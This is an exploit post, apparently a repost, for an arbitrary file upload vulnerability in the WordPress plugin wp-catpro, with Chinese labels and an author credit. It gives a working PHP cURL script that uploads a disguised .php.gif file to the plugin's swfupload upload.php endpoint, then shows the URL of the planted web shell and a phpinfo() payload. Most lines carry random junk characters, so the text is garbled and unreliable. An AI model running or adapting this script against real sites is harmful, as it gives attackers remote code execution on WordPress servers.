Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability$ Y( d; S# ~" x; U4 g8 ^
#-----------------------------------------------------------------------) e% i( K" b. q" k: a' c: k
4 }- l. g. D/ i6 u$ G" `0 p
作者 => Zikou-16
" I# l" M9 @0 b4 R- z3 s! g# d" f邮箱 => zikou16x@gmail.com
2 v3 K8 A( L" j& @ b+ U$ A测试系统 : Windows 7 , Backtrack 5r3
" E$ A. z2 y2 Q( i: T下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip' y% e5 c! l( s- G
####2 t! Y* v( E# s' i( \
* }$ I0 u, A/ `#=> Exploit 信息:$ H8 t3 q. _4 s5 j3 D& z
------------------
% ]+ U1 M+ T1 t! l) b+ D# 攻击者可以上传 file/shell.php.gif
C+ F& U2 g0 @- q( K# ("jpg", "gif", "png") // Allowed file extensions) X. }& i7 j! Q, ~1 |0 E/ x9 r5 D( j6 `
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)8 P: m0 V( h+ s% |+ i) H6 p
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
* ]' m* p3 H: F9 Y* I6 B1 Z------------------
" \5 [$ o9 K5 S" c6 p
% X. \/ U; X% L) }# ]#=> Exploit
" B7 Z/ A0 d V-----------2 |. M4 P0 }! }8 Z# A3 y
<?php) P$ D3 C& k" P5 {/ C" w
3 R# \4 z5 W" T7 C1 e2 \3 ^( |' M+ D, G/ z$uploadfile="zik.php.gif";2 V7 o3 l7 j6 X* Y. q: ?
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
7 ?- d; s+ Z6 vcurl_setopt($ch, CURLOPT_POST, true);% I: V1 F1 t, y
curl_setopt($ch, CURLOPT_POSTFIELDS,- A& K- m1 s- n. _' c" P; x. K( P8 a
array('Filedata'=>"@$uploadfile",7 M) P6 d2 ^9 M& F* M1 @
'folder'=>'/wp-content/uploads/catpro/'));$ n# E* f* x" I) l5 q
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);; ^ Q8 Z r! t. Z$ A$ Y3 `
$postResult = curl_exec($ch);) ]) c4 \$ Q1 R0 M* i$ \2 y
curl_close($ch);
& A) D) P- `7 |& A, i
8 q/ ]( B! n2 z7 w! |print "$postResult";! Q5 _% V9 a; C% {$ i l* }% O% y
9 y7 ]& p! w* e0 P" ^- NShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
6 F Y. s+ S9 C: H+ y4 K ?>
1 w; i. t. M- l9 ?<?php% q, y$ F* M h7 E
phpinfo();) z/ \3 U7 e, W: m: e2 ]
?> |